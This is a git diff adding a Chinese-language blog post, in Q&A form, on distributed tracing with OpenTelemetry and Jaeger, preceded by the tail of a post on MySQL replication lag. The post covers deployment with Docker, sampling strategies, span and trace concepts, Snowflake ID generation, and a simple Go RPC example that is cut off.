+主备延迟最直接的表现是,备库消费中转日志(relay log)的速度,比主库生产 binlog 的速度要慢。 + + +## 31.主备延迟 + +主备延迟来源 +第一种可能是,在有些部署条件下,备库所在机器的性能要比主库所在的机器性能差。 + +第二种可能是,备库的压力大,一般可以这样处理: + +一主多从。除了备库外,可以多接几个从库,让从库来分担读的压力 +通过 binlog 输出到外部系统,比如 Hadoop 这类系统,让外部系统提供统计类查询的功能 +还有第三种可能,就是大事务,这种情况就是因为主库必须等事务执行完成才会写入 binlog ,再传给备库。所以,如果一个主库上的语句执行了 10 分钟,那这个事务很可能就会导致从库延迟 10 分钟。还有另一种典型的大事务场景,就是大表 DDL 。 + +造成主备延迟还有一个大方向的原因,就是 备库的并行复制能力 +由于主备延迟的存在,所以在主备切换的时候,就相应的有不同的策略 + diff --git a/_posts/2023-10-19-test-markdown.md b/_posts/2023-10-19-test-markdown.md new file mode 100644 index 000000000000..8a8f5babae27 --- /dev/null +++ b/_posts/2023-10-19-test-markdown.md @@ -0,0 +1,1103 @@ +--- +layout: post +title: OpenTelemetry和Jaeger进行分布式追踪 +subtitle: +tags: [OpenTelemetry] +comments: true +--- + + +> OpenTelemetry和Jaeger如何协同工作? + +OpenTelemetry: + +定义:OpenTelemetry是一个开源项目,旨在为应用程序提供一致的、跨语言的遥测(包括追踪、度量和日志)。 +标准化:OpenTelemetry为遥测数据提供了标准化的API、SDK和约定,这使得开发者可以在多种工具和平台上使用统一的接口。 +自动化:OpenTelemetry提供了自动化的工具和库,可以无侵入地为应用程序添加追踪和度量。 +扩展性:OpenTelemetry设计为可扩展的,支持多种导出器,这意味着可以将数据发送到多种后端和工具,如Jaeger、Prometheus、Zipkin等。 + +标准化的API: +```go +span := tracer.Start("requestHandler") +defer span.End() +// tracer.Start是OpenTelemetry API的一部分,无论使用哪个监控工具,代码都保持不变。 +``` +标准化的SDK: +```text +SDK是API的具体实现。当调用tracer.Start时,背后的逻辑(如何存储追踪数据、如何处理它等)由SDK处理。 +使用OpenTelemetry SDK:可以配置SDK以决定如何收集和导出数据。例如,可以设置每分钟只导出100个追踪,或者只导出那些超过1秒的追踪。 +``` +约定: +约定是关于如何命名追踪、如何组织它们以及如何描述它们的共同规则。 +例如,OpenTelemetry可能有一个约定,所有HTTP请求的追踪都应该有一个名为http.method的属性,其值为HTTP方法(如GET、POST等)。 +使用OpenTelemetry约定:当记录一个HTTP请求时,会这样做: +```go +span.SetAttribute("http.method", "GET") +``` +Jaeger: +定义:Jaeger是一个开源的、端到端的分布式追踪系统,用于监控和排查微服务应用的性能问题。 +可视化:Jaeger提供了一个强大的UI,用于查询和可视化追踪数据,帮助开发者和运维团队理解请求在系统中的流转。 +存储和扩展性:Jaeger支持多种存储后端,如Elasticsearch、Cassandra和Kafka,可以根据需要进行扩展。 +集成:Jaeger与多种工具和平台集成,如Kubernetes、Istio和Envoy。 +如何协同工作: +OpenTelemetry为应用程序提供了追踪和度量的能力。当使用OpenTelemetry SDK来为的应用程序添加追踪时,它会生成追踪数据。 +这些追踪数据可以通过OpenTelemetry的Jaeger导出器发送到Jaeger后端。这意味着,使用OpenTelemetry,可以轻松地将追踪数据集成到Jaeger中。 +在Jaeger中,可以查询、分析和可视化这些追踪数据,以获得系统的深入视图和性能洞察。 +总的来说,OpenTelemetry和Jaeger是分布式追踪领域的强大组合。OpenTelemetry提供了数据收集的标准化和自动化,而Jaeger提供了数据的存储、查询和可视化。这两者的结合为微服务和分布式系统提供了强大的监控和诊断能力。 + +> Jaeger的基础存储? + +可插拔存储后端:Jaeger支持多种存储后端,包括Elasticsearch、Cassandra、Kafka和Badger等。这种可插拔的设计意味着可以选择最适合的环境和需求的存储后端。虽然 Jaeger 本身的存储可能足够用于开发和测试环境,但在生产环境中,一个健壮的外部存储后端几乎总是必需的。 + +存储结构:Jaeger的追踪数据通常存储为一系列的spans。每个span代表一个操作或任务,并包含其开始时间、结束时间、标签、日志和其他元数据。这些spans被组织成traces,每个trace代表一个完整的请求或事务。 + +数据保留策略:由于追踪数据可能会非常大,通常需要设置数据保留策略,以确定数据应该存储多长时间。例如,可能决定只保留最近30天的追踪数据。 + +性能和可扩展性:存储后端需要能够快速写入和查询大量的追踪数据。为了满足这些需求,许多存储后端(如Elasticsearch和Cassandra)被设计为分布式的,可以水平扩展以处理更多的数据。 + +索引和查询:为了支持在Jaeger UI中的查询,存储后端需要对某些字段进行索引,如trace ID、service name和operation name等。这使得用户可以快速查找特定的traces和spans。 + +数据采样:由于存储所有的追踪数据可能会非常昂贵,Jaeger支持数据采样,这意味着只有一部分请求会被追踪和存储。采样策略可以在Jaeger客户端中配置。 + +总的来说,Jaeger的存储是其架构中的一个关键组件,负责持久化追踪数据。通过与多种存储后端的集成,Jaeger为用户提供了灵活性,使他们可以选择最适合他们需求的存储解决方案。 + +> Jaeger的内存存储? + + +内存存储:Jaeger的一个简单配置是使用内存存储,这意味着所有的追踪数据都保存在内存中,不持久化到磁盘。这种配置适用于开发和测试环境,但不适用于生产环境,因为重启Jaeger实例会导致数据丢失。 + +Badger存储:Badger是一个嵌入式的键/值存储,可以在本地文件系统中持久化数据。Jaeger可以配置为使用Badger作为其存储后端,这为那些不想设置外部存储系统(如Elasticsearch或Cassandra)的用户提供了一个简单的持久化选项。 + +外部存储后端:虽然Jaeger支持Elasticsearch、Cassandra和Kafka作为存储后端,但这并不意味着它们在默认配置中都被使用。需要明确地配置Jaeger以使用这些后端,并确保相应的存储系统已经设置并运行。 + +> Jaeger 请求处理的过程? + +代理和收集器:当发送追踪数据到Jaeger时,通常首先发送到Jaeger代理,然后代理将数据转发到Jaeger收集器。收集器负责将数据写入配置的存储后端。 + +应用程序/服务:这是开始点。当一个请求进入的应用程序或服务时,OpenTelemetry或Jaeger客户端库会开始记录一个追踪。追踪包含了请求从开始到结束的所有信息,包括调用的各个服务、函数和外部资源。 + +Jaeger-client:这个库在应用程序中集成,负责收集追踪数据。它还可以进行采样决策,决定是否将某个特定的追踪发送到Jaeger代理。 + +Jaeger-agent:Jaeger代理通常作为一个独立的进程运行,可能在与应用程序相同的主机上或在一个集中的位置。应用程序通过UDP将追踪数据发送到这个代理。代理的主要任务是接收这些数据,进行一些轻量级的处理(如批处理),然后转发它们到Jaeger收集器。jaeger-agent 。通过 UDP 协议监听来自应用程序的跟踪数据。这种方式的优点是非常快速和轻量级,但缺点是不保证数据的可靠传输。 + +从 Jaeger-client 到 Jaeger-agent: jaeger-agent 通常通过 UDP 协议监听来自应用程序(Jaeger-client)的跟踪数据。UDP 是一种无连接的协议,因此它非常快速和轻量级,但不保证数据的可靠传输。 + +从 Jaeger-agent 到 Jaeger-collector: jaeger-agent 可以通过多种方式将数据发送到 jaeger-collector。这包括 UDP、HTTP/HTTPS,以及 gRPC。在生产环境中,可能会更倾向于使用 HTTP/HTTPS 或 gRPC,因为这些协议更可靠。 + +Jaeger-collector:收集器接收来自一个或多个代理的追踪数据。它负责处理这些数据,例如进行索引和转换,然后将其写入配置的存储后端。在生产环境中,通常会有多个 jaeger-collector 实例,并且 jaeger-agent 可以配置为通过负载均衡器将数据发送到这些 jaeger-collector 实例,以实现高可用和负载均衡。 + +存储后端:这是追踪数据的最终存储位置。如前所述,Jaeger可以配置为使用多种存储后端,如Elasticsearch、Cassandra、Kafka或Badger。这里,数据被持久化并为后续的查询和分析所用。 + +Jaeger UI:当用户想要查看追踪数据时,他们会使用Jaeger UI。这个UI从存储后端查询数据,并以图形化的方式展示追踪和spans。 + +总结:一个请求的追踪数据从应用程序开始,通过Jaeger客户端库、Jaeger代理、Jaeger收集器,最后存储在配置的存储后端中。当需要查看这些数据时,可以通过Jaeger UI进行查询和可视化。 + + +> jaeger-agent 和 jaeger-collector 如何通过gRPC 通信? + +在 Jaeger 的架构中,jaeger-agent 和 jaeger-collector 之间的通信通常是由 Jaeger 项目本身管理的,通常不需要手动编写 gRPC 代码来实现这一点。Jaeger 的各个组件已经内置了这些通信机制。 + +如果使用的 Jaeger 版本支持 gRPC,那么只需要在配置 jaeger-agent 和 jaeger-collector 时指定使用 gRPC 协议即可。 + +例如,在启动 jaeger-collector 时,可以通过命令行参数或环境变量来启用 gRPC 端口(默认为 14250)。 + +```bash +jaeger-collector --collector.grpc-port=14250 +``` +同样,在配置 jaeger-agent 时,您可以指定将数据发送到 jaeger-collector 的 gRPC 端口。 + +```bash +jaeger-agent --reporter.grpc.host-port=jaeger-collector.example.com:14250 +``` +这样,jaeger-agent 就会使用 gRPC 协议将数据发送到 jaeger-collector。 + +> Jaeger如何进行分布式部署? + +选择存储后端: + +根据的需求和环境选择一个存储后端,如Elasticsearch、Cassandra或Kafka。 +设置和配置所选的存储后端。例如,对于Elasticsearch,可能需要设置一个Elasticsearch集群。 + +部署Jaeger收集器: +在一个或多个节点上部署Jaeger收集器。 +配置收集器以连接到的存储后端。 +如果有多个收集器实例,考虑使用负载均衡器来分发从Jaeger代理接收的数据。 + +部署Jaeger代理: +在每个需要发送追踪数据的节点或服务旁边部署Jaeger代理。 +配置代理以将数据发送到Jaeger收集器。如果使用了负载均衡器,将代理指向负载均衡器的地址。 + +部署Jaeger查询服务: +部署Jaeger查询服务,它提供了一个API和UI来查询和查看追踪数据。 +配置查询服务以连接到的存储后端。 + +配置服务和应用程序: +在的服务和应用程序中集成Jaeger客户端库。 +配置客户端库以将追踪数据发送到本地的Jaeger代理。 + +监控和日志: +配置Jaeger组件的日志和监控,以便在出现问题时能够快速诊断和解决。 + +优化和调整: +根据的环境和流量模式,调整Jaeger的配置和资源分配。 +考虑使用Jaeger的采样功能来减少存储和传输的数据量。 + +备份和恢复: +定期备份的存储后端数据。 +确保有一个恢复策略,以便在出现故障时能够恢复数据。 + +安全性: +考虑为Jaeger组件和存储后端启用TLS/SSL。 +如果需要,配置身份验证和授权。 +通过以上步骤,可以在分布式环境中部署Jaeger,从而实现高可用性、扩展性和故障隔离。这种部署方式特别适合大型或复杂的微服务和分布式系统。 + +> 使用Docker模拟部署分布式Jaeger的步骤? + +使用Docker部署分布式Jaeger是一个很好的选择,因为Docker提供了一个轻量级、隔离的环境,可以轻松地模拟分布式部署。以下是使用Docker模拟部署分布式Jaeger的步骤: + +设置存储后端: +假设我们选择Elasticsearch作为存储后端。 + +```bash +docker run --name jaeger-elasticsearch -d -p 9200:9200 -p 9300:9300 -e "discovery.type=single-node" docker.elastic.co/elasticsearch/elasticsearch:7.10.0 +``` +部署Jaeger收集器: + +```bash +docker run --name jaeger-collector -d -p 14268:14268 -p 14250:14250 -e SPAN_STORAGE_TYPE=elasticsearch -e ES_SERVER_URLS=http://:9200 jaegertracing/jaeger-collector:latest``` + +部署Jaeger代理: +```bash +docker run --name jaeger-agent -d -p 5775:5775/udp -p 6831:6831/udp -p 6832:6832/udp -p 5778:5778/tcp -e REPORTER_GRPC_HOST_PORT=:14250 jaegertracing/jaeger-agent:latest +``` +部署Jaeger查询服务: + +```bash +docker run --name jaeger-query -d -p 16686:16686 -e SPAN_STORAGE_TYPE=elasticsearch -e ES_SERVER_URLS=http://:9200 jaegertracing/jaeger-query:latest +``` +验证部署: +打开浏览器并访问`http://:16686`,应该能够看到Jaeger UI。 + +配置服务和应用程序: +在的服务和应用程序中集成Jaeger客户端库,并配置它们将追踪数据发送到上面启动的Jaeger代理。 + +监控和日志: +使用`docker logs `来查看每个Jaeger组件的日志。 + +注意: + +``应该替换为的Docker宿主机的IP地址。 +在真实的生产环境中,可能还需要考虑网络、存储、备份、安全性和其他配置。 +这些步骤只是为了模拟一个简单的分布式Jaeger部署。在真实的生产环境中,可能需要更复杂的配置和部署策略。 +总之,使用Docker可以轻松地模拟Jaeger的分布式部署,这对于开发、测试和学习都是非常有用的。 + + +> 当引入Jaeger进行分布式追踪时,常见的性能考虑? + +采样策略: + +为了减少追踪数据的量并降低系统开销,Jaeger支持多种采样策略。例如,概率采样只会追踪一定比例的请求。 +选择合适的采样策略可以确保捕获到有代表性的追踪数据,同时不会对系统产生过大的负担。 + +追踪数据的传输: + +Jaeger客户端库通常会在内存中缓存追踪数据,并批量发送到Jaeger后端,以减少网络调用的次数和延迟。 +考虑使用异步传输,这样即使追踪后端服务不可用或延迟也不会影响到应用的主要功能。 + +存储后端的性能: + +Jaeger支持多种存储后端,如Elasticsearch、Cassandra和Kafka。每种存储后端都有其性能特点和最佳实践。 +根据数据量、查询需求和存储策略选择合适的存储后端,并进行适当的优化。 + +追踪数据的生命周期: + +考虑设置追踪数据的保留策略,以自动删除旧的追踪数据,防止存储资源被耗尽。 + +服务间通信的开销: + +在微服务之间传递追踪上下文(如Span ID和Trace ID)会增加通信的开销。虽然这些开销通常很小,但在高吞吐量的系统中可能会变得显著。 + +查询性能: + +当使用Jaeger UI进行查询时,需要确保存储后端可以快速响应,特别是在大量的追踪数据下。 +考虑为存储后端启用索引和优化查询性能。 + +监控和告警: + +监控Jaeger的性能和健康状况,确保它不会成为系统的瓶颈。 +设置告警,以便在出现性能问题或故障时立即通知。 + +资源分配: + +根据追踪数据的量和查询需求为Jaeger分配足够的计算和存储资源。 +引入Jaeger时,应该在测试环境中进行性能测试和调优,确保在生产环境中不会出现性能问题或故障。 + +> 采样策略? + +Jaeger支持多种采样策略,以允许用户根据其需求和环境来选择最合适的策略。以下是Jaeger支持的主要采样策略: + +常量采样 (constant): +这种策略要么始终采样,要么从不采样。 +参数: +decision: true 表示始终采样,false 表示从不采样。 + +概率采样 (probabilistic): +这种策略根据指定的概率采样。 +参数: +samplingRate: 设置采样率,范围从0到1。例如,0.2表示20%的追踪会被采样。 + +速率限制采样 (ratelimiting): +这种策略根据每秒的固定速率进行采样。 +参数: +maxTracesPerSecond: 每秒允许的最大追踪数。 + +远程采样 (remote): +这种策略允许从Jaeger代理动态地获取采样策略。 +代理会定期从Jaeger收集器中拉取策略。 + +如何设置采样策略: +采样策略可以在Jaeger客户端或Jaeger代理中设置。以下是如何在Jaeger客户端中使用Go语言设置采样策略的示例: + +```go +import ( + "github.com/uber/jaeger-client-go" + "github.com/uber/jaeger-client-go/config" +) + +func main() { + cfg := config.Configuration{ + Sampler: &config.SamplerConfig{ + Type: jaeger.SamplerTypeProbabilistic, + Param: 0.2, + }, + Reporter: &config.ReporterConfig{ + LogSpans: true, + BufferFlushInterval: 1 * time.Second, + }, + } + + tracer, closer, err := cfg.NewTracer() + defer closer.Close() +} +``` +在上面的示例中,我们设置了概率采样策略,并指定了20%的采样率。 + +如果使用的是Jaeger代理,可以使用命令行参数或环境变量来配置采样策略。例如,使用以下命令行参数启动Jaeger代理并设置概率采样率为20%: + + +```go +docker run -d -p 5775:5775/udp -p 6831:6831/udp -p 6832:6832/udp -p 5778:5778/tcp jaegertracing/jaeger-agent --sampler.type=probabilistic --sampler.param=0.2 +``` + + +> 假设在一个微服务环境中,发现一个服务的追踪数据没有出现在Jaeger UI中,会如何调查和解决这个问题? + +如果某个服务的追踪数据没有出现在Jaeger UI中,以下是一些调查和解决问题的步骤: + +检查服务的Jaeger客户端配置: + +确保服务正确地配置了Jaeger客户端,并且指向了正确的Jaeger代理或Collector地址。 +检查服务的日志,看是否有与Jaeger相关的错误或警告。 + +验证采样策略: +检查服务的采样策略配置。如果采样率设置得太低,可能会导致追踪数据很少或完全没有。 +确保服务实际上是在生成追踪数据。例如,如果采样策略设置为不采样,那么将不会有数据发送到Jaeger。 + +检查Jaeger代理: +如果使用Jaeger代理,确保它正在运行并且可以访问。 +检查Jaeger代理的日志,查找与数据发送相关的错误或警告。 + +验证网络连接: +确保服务可以成功地连接到Jaeger代理或Collector。可能存在网络阻塞、防火墙规则或其他网络问题。 +使用工具如ping、telnet或curl来测试连接。 + +检查Jaeger Collector: +确保Collector正在运行并且没有达到其资源限制。 +检查Collector的日志,查找与数据接收或存储相关的错误或警告。 + +验证存储后端: +确保Jaeger的存储后端(如Elasticsearch、Cassandra等)正在运行并且健康。 +检查存储后端的资源使用情况,如CPU、内存和磁盘。 +查看存储后端的日志,寻找与数据写入相关的问题。 + +检查Jaeger UI: +确保UI正确地连接到Jaeger后端并且可以查询数据。 +尝试查询其他服务的追踪数据,看是否只是一个特定服务的问题。 + +其他考虑: +检查服务的资源使用情况,如CPU、内存和网络。过高的资源使用可能导致追踪数据丢失。 +如果使用了其他中间件或代理(如Envoy、Istio等),确保它们正确地传递了追踪上下文。 + +获取更多信息: +增加Jaeger客户端、代理和Collector的日志级别,以获取更详细的信息。 +在服务中添加更多的日志或指标,以帮助诊断问题。 +通过上述步骤,应该可以定位并解决服务追踪数据没有出现在Jaeger UI中的问题。 + +> Span、Trace、Baggage和Context? + +Span: + +定义: Span代表一个工作的单元,例如一个函数调用或一个数据库查询。 +详细解释: 在分布式追踪中,Span通常包含一个开始时间、一个结束时间、一个描述性的名称(例如函数名或API端点)以及其他可选的元数据(例如日志、标签或事件)。Span还有一个唯一的ID和一个关联的Trace ID。 + +Trace: + +定义: Trace是由多个Span组成的,代表一个完整的事务或工作流程,如用户请求的处理。 +详细解释: 在微服务架构中,一个用户请求可能需要多个服务协同工作来完成。每个服务的工作可以被表示为一个Span,而整个用户请求的处理则被表示为一个Trace。所有相关的Span共享一个Trace ID,这样我们就可以将它们组合在一起,形成一个完整的视图。 + +Baggage: + +定义: Baggage是与Trace相关的键值对数据,它在Trace的所有Span之间传播。 +详细解释: Baggage允许在整个Trace的生命周期中携带数据。例如,可能想在Trace的开始时设置一个“用户ID”或“实验变种”,然后在后续的Span中访问这些数据。Baggage可以帮助实现跨服务的上下文传播。 + +Context: + +定义: Context是一个抽象概念,用于在不同的操作和函数调用之间传递元数据,如Span和Baggage。 +详细解释: 在分布式追踪中,Context确保在处理一个请求时,所有相关的信息(如当前的Span、Baggage等)都能被正确地传递和访问。例如,在OpenTelemetry中,Context是一个核心概念,用于在API调用和库之间传递追踪和度量信息。 + +> Jaeger与其他追踪系统(如Zipkin)相比有什么优势或特点? + +原生支持OpenTracing: + +Jaeger是作为OpenTracing项目的一部分而创建的,因此它从一开始就原生支持OpenTracing API。这意味着对于那些已经采用OpenTracing标准的应用程序,集成Jaeger会更加直接。 +虽然Zipkin现在也支持OpenTracing,但它最初并不是为此而设计的。 + +灵活的存储后端: + +Jaeger支持多种存储后端,如Elasticsearch、Cassandra和Kafka。这为用户提供了更多的选择,以满足其特定的需求和偏好。 +Zipkin也支持多种存储后端,但Jaeger在某些方面提供了更多的灵活性。 + +适应性: + +Jaeger的设计允许它轻松地适应大规模和高流量的环境。例如,它支持收集器和代理的分离部署,这有助于在大型系统中分散负载。 + +高级UI和过滤功能: + +Jaeger的UI提供了一些高级的过滤和查找功能,使用户能够更容易地找到和分析特定的追踪。 +虽然Zipkin也有一个功能强大的UI,但Jaeger在某些方面提供了更多的功能,如追踪比较和性能优化。 + +性能优化: + +Jaeger提供了一些高级的性能优化功能,如自适应采样,这有助于在高流量环境中减少系统开销。 + +生态系统和集成: + +由于Jaeger是CNCF(云原生计算基金会)的项目,它与其他CNCF项目(如Prometheus、Kubernetes等)有很好的集成。 +虽然Zipkin也有一个强大的生态系统,但Jaeger在与其他云原生工具的集成方面可能有优势。 + +扩展性: + +Jaeger的架构设计为模块化,这使得它更容易扩展和自定义。例如,可以轻松地添加新的存储后端或采样策略。 +总的来说,虽然Jaeger和Zipkin都是优秀的分布式追踪系统,但它们在设计、特性和生态系统方面有所不同。选择哪一个取决于的具体需求、偏好和现有的技术栈。 + + +> 如何根据实际的业务场景选择合适的采样策略? + +场景: 有一个API,每秒处理数万个请求,每个请求的处理时间都很短。 +采样策略: 使用概率采样,设置一个较低的采样率(例如0.1%或1%)。这样,可以捕获代表性的追踪,同时保持开销在可接受的范围内。 + +关键业务流程: +场景: 有一个关键的业务流程,例如支付或订单处理,希望对其进行全面监控。 +采样策略: 使用常量采样并始终采样。对于这种关键路径,可能希望捕获所有追踪,以确保最高的可见性。 + +新发布的服务: +场景: 刚刚发布了一个新服务,希望对其进行密切监控,以捕获任何潜在的问题。 +采样策略: 初始阶段可以使用常量采样并始终采样。一旦服务稳定,可以切换到概率采样或速率限制采样。 + +不规则的流量模式: +场景: 有一个服务,其流量模式非常不规则,有时候非常高,有时候非常低。 +采样策略: 使用速率限制采样,设置每秒的固定追踪数。这样,无论流量如何,都可以保持一致的追踪率。 + +多服务环境: +场景: 的微服务架构中有多个服务,每个服务都有不同的流量和重要性。 +采样策略: 对于关键服务,使用常量采样;对于高流量服务,使用概率采样;对于其他服务,可以使用速率限制采样。确保在整个系统中使用一致的采样决策,以避免断裂的追踪。 +调试和故障排查: + +场景: 正在调试一个特定的问题,需要更详细的追踪数据。 +采样策略: 临时使用常量采样并始终采样。一旦问题解决,恢复到之前的采样策略。 + + + +> 如何传递追踪信息? + +HTTP Headers: + +在基于HTTP的微服务架构中,追踪信息(如trace ID和span ID)通常作为HTTP headers传递。例如,使用B3 Propagation headers(由Zipkin定义)。 + +消息队列: + +在基于消息的系统中,追踪信息可以作为消息的元数据或属性传递。 + +gRPC Metadata: + +对于使用gRPC的系统,追踪信息可以通过gRPC的metadata传递。 + +Context Propagation: + +在同一进程内的不同组件之间,可以使用编程语言提供的上下文(如Go的context.Context)来传递追踪信息。 + +> 谁来生成ID? + +边缘服务: + +第一个接收到请求的服务(通常是API网关或边缘服务)负责生成trace ID。这确保了整个请求链中的所有spans都共享相同的trace ID。 + +每个服务: + +每个服务在开始处理请求时都会生成一个新的span ID。这标识了该服务处理的操作或任务。 + +> 什么算法? + +随机生成:使用强随机数生成器生成随机ID。例如,使用UUID(通常是UUID v4)。 +雪花算法(Snowflake):这是Twitter开发的一个算法,用于生成唯一的ID。它结合了时间戳、机器ID和序列号来确保在分布式系统中生成的ID是唯一的。 +增量或原子计数器:对于单一服务,可以简单地使用一个原子计数器来生成span IDs。但是,这种方法在分布式系统中可能不是很实用,除非它与其他信息(如机器ID)结合使用。 + + +> 链路追踪? + +链路追踪: +链路追踪通常使用一个称为“span”的概念来代表一个工作单元或一个操作,例如一个函数调用或一个数据库查询。每个span都有一个唯一的ID,以及其他关于该操作的元数据,如开始和结束时间。 + +这些span被组织成一个树结构,其中一个span可能是另一个span的父span。最顶部的span称为“trace”,它代表一个完整的操作,如一个HTTP请求。 + +传递追踪信息: +为了跟踪一个完整的请求,当它穿越多个服务时,我们需要将追踪信息从一个服务传递到另一个服务。这通常是通过在HTTP头部或消息元数据中添加特殊的追踪标识符来实现的。 + +常用的标识符有: + +Trace ID:代表整个请求的唯一标识。 +Span ID:代表单个操作或工作单元的标识。 +Parent Span ID:标识父span的ID。 + +多线程追踪: +在多线程或并发环境中进行追踪略有挑战,因为不同的线程可能并发地执行多个操作。为了在这样的环境中准确地跟踪操作,我们需要注意以下几点: + +线程局部存储(Thread-Local Storage, TLS):使用TLS存储当前线程的追踪上下文。这意味着即使在并发环境中,每个线程也都有自己的追踪上下文,不会与其他线程混淆。 + +手动传递上下文:在某些情况下,如使用协程或轻量级线程,您可能需要手动传递追踪上下文。这意味着当启动一个新的并发任务时,需要确保追踪上下文被适当地传递和更新。 + +正确的父/子关系:确保在多线程环境中正确地标识span的父/子关系。例如,如果两个操作在不同的线程上并发执行,它们可能会有同一个父span,但是它们应该是兄弟关系,而不是父/子关系。 + +> 线程局部存储 (TLS)? + +Go 的 goroutines 不直接映射到操作系统的线程,因此传统的线程局部存储不适用。 +为了解决这个问题,可以使用 context 包来传递追踪信息。context 提供了一个键-值对的存储方式,可以在多个 goroutine 之间传递,并且是并发安全的。 +使用 context.WithValue 可以存储和传递追踪相关的信息。 +手动传递上下文: + +在 Go 中,当启动一个新的 goroutine 时,需要显式地传递 context。 +例如: +```go +ctx := context.WithValue(parentCtx, "traceID", traceID) +go func(ctx context.Context) { + // 使用 ctx 中的追踪信息 +}(ctx) +``` +正确的父/子关系: + +使用 Go 的链路追踪工具,如 OpenTelemetry,可以帮助正确地维护 span 的关系。 +当创建一个新的 span 时,可以指定它的父 span。如果两个操作在不同的 goroutines 中执行,并且它们是并发的,确保它们的 span 是兄弟关系,而不是父子关系。 +例如,使用 OpenTelemetry 的 Go SDK,可以创建和管理 span 的父子关系。 +```go +tracer := otel.Tracer("example") +ctx, span1 := tracer.Start(ctx, "operation1") +go doWork(ctx) +span1.End() +``` + +```go +ctx, span2 := tracer.Start(ctx, "operation2") +go doAnotherWork(ctx) +span2.End() +``` +在这个例子中,operation1 和 operation2 是并发的操作,并且它们在两个不同的 goroutines 中执行。尽管它们共享相同的父上下文,但它们是兄弟关系的 span。 + +总之,Go 的并发模型提出了一些链路追踪中的挑战,但通过使用 context 和相关的工具,可以有效地管理和追踪在多个 goroutines 中的操作。 + +> 如何加快查询? + +Trace和Span的定义: + +Trace: 一个trace代表一个完整的事务或一个请求的生命周期。它由一个或多个span组成,每个span代表在请求处理过程中的一个独立操作或任务。 +Span: Span代表在请求处理中的一个特定段或操作,例如一个函数调用、一个数据库查询等。 + +关键元数据: +每个span通常都有一些关键的元数据,如: +Service Name: 执行当前span的服务的名称。 +Operation Name: 当前span正在执行的操作或任务的描述。 +Tags: 用于标记和分类span的键值对,例如"db.type": "mysql"或"http.status_code": "200"。 +Start and End Times: Span的开始和结束时间。 +Parent Span ID: 如果当前span是由另一个span触发或创建的,则这表示父span的ID。 + +存储和索引: +当我们说元数据应该被建立为索引时,我们意味着应该使用一种数据库技术(如关系型数据库、NoSQL或全文搜索引擎如Elasticsearch)来存储span数据,其中某些字段(如Service Name, Tags)被特别标记为索引字段。 +创建索引的目的是加速特定字段的查询。例如,如果经常根据service name或某个tag来查询spans,那么对这些字段建立索引将大大提高查询速度。 + +实际实现: +使用关系型数据库如MySQL:可以为spans创建一个表,其中每个字段(如service name, tags等)都是表的列。然后,对经常查询的列创建索引。 +使用NoSQL数据库如MongoDB:可以为每个span创建一个文档,其中关键元数据是文档的字段。某些NoSQL数据库允许对字段创建索引,以加速查询。 +使用Elasticsearch:这是一个为搜索和实时分析设计的分布式搜索引擎。您可以将每个span作为一个文档存储在Elasticsearch中,然后根据需要对字段创建索引。 + +这种设计方法确保当在追踪系统中进行查询时,例如查找特定service name下的所有spans或根据特定tag筛 + +> 如何传递追踪信息?谁来生成 id,什么算法? + +HTTP Headers:在基于HTTP的微服务架构中,追踪信息(如trace ID和span ID)通常作为HTTP headers传递。例如,使用B3 Propagation headers(由Zipkin定义)。 + +消息队列:在基于消息的系统中,追踪信息可以作为消息的元数据或属性传递。 + +gRPC Metadata:对于使用gRPC的系统,追踪信息可以通过gRPC的metadata传递。 + +Context Propagation:在同一进程内的不同组件之间,可以使用编程语言提供的上下文(如Go的context.Context)来传递追踪信息。 + +> 如何生成 id? + +谁来生成ID: +边缘服务:第一个接收到请求的服务(通常是API网关或边缘服务)负责生成trace ID。这确保了整个请求链中的所有spans都共享相同的trace ID。 + +每个服务:每个服务在开始处理请求时都会生成一个新的span ID。这标识了该服务处理的操作或任务。 + +> 什么算法? + +随机生成:使用强随机数生成器生成随机ID。例如,使用UUID(通常是UUID v4)。 + +雪花算法(Snowflake):这是Twitter开发的一个算法,用于生成唯一的ID。它结合了时间戳、机器ID和序列号来确保在分布式系统中生成的ID是唯一的。 +Snowflake 是一个用于生成64位ID的系统。这些ID在时间上是单调递增的,并且可以在多台机器上生成,而不需要中央协调器。 + +这个64位ID可以被分为以下几个部分: +```shell +时间戳 (timestamp) - 通常占41位,用于记录ID生成的毫秒级时间。41位的时间戳可以表示约69年的时间。 +机器ID (machine ID) - 用于标识ID的生成器,可以是机器ID或数据中心ID和机器ID的组合。这样可以确保同一时间戳下,不同机器产生的ID不冲突。 +序列号 (sequence) - 在同一毫秒、同一机器下,序列号保证ID的唯一性。 +具体位数划分可以根据实际需求来定。例如,可以将10位留给机器ID,那么就可以有1024台机器来生成ID,而序列号可以使用12位,意味着同一毫秒内同一台机器可以生成4096个不同的ID。 +``` + +增量或原子计数器:对于单一服务,可以简单地使用一个原子计数器来生成span IDs。但是,这种方法在分布式系统中可能不是很实用,除非它与其他信息(如机器ID)结合使用。 + + +> 从头实现 RPC 会怎么写? + +实现一个简单的 RPC (Remote Procedure Call) 系统需要考虑以下几个方面: + +定义通讯协议:确定服务器和客户端之间如何交换数据。这可能包括数据的序列化和反序列化方法,例如 JSON、XML、Protocol Buffers 或 MessagePack。 + +定义服务接口:通常,会定义一个接口来描述哪些方法可以远程调用。 + +客户端和服务器的实现: + +服务器:监听某个端口,接收客户端的请求,解码请求数据,调用相应的方法,然后编码结果并发送回客户端。 +客户端:连接到服务器,编码请求数据,发送到服务器,然后等待并解码服务器的响应。 +错误处理:处理网络错误、数据编码/解码错误、服务器内部错误等。 + +下面是一个简单的 Go 语言 RPC 实现示例: + +定义服务接口: + +```go +type Arith struct{} + +type ArithRequest struct { + A, B int +} + +type ArithResponse struct { + Result int +} + +``` + +```go +func (t *Arith) Multiply(req ArithRequest, res *ArithResponse) error { + res.Result = req.A * req.B + return nil +} + +func startServer() { + arith := new(Arith) + rpc.Register(arith) + + listener, err := net.Listen("tcp", ":1234") + if err != nil { + log.Fatal("Error starting server:", err) + } + for { + conn, err := listener.Accept() + if err != nil { + log.Println("Connection error:", err) + continue + } + go rpc.ServeConn(conn) + } +} +``` +客户端的实现 +```go +func callServer() { + client, err := rpc.Dial("tcp", "localhost:1234") + if err != nil { + log.Fatal("Error connecting to server:", err) + } + args := ArithRequest{2, 3} + var result ArithResponse + err = client.Call("Arith.Multiply", args, &result) + if err != nil { + log.Fatal("Error calling remote method:", err) + } + log.Printf("%d * %d = %d", args.A, args.B, result.Result) +} +``` +启动: +```go +func main() { + go startServer() // 在后台启动服务器 + time.Sleep(1 * time.Second) // 等待服务器启动 + callServer() // 调用服务器 +} +``` +这只是一个非常基础的 RPC 示例,实际的 RPC 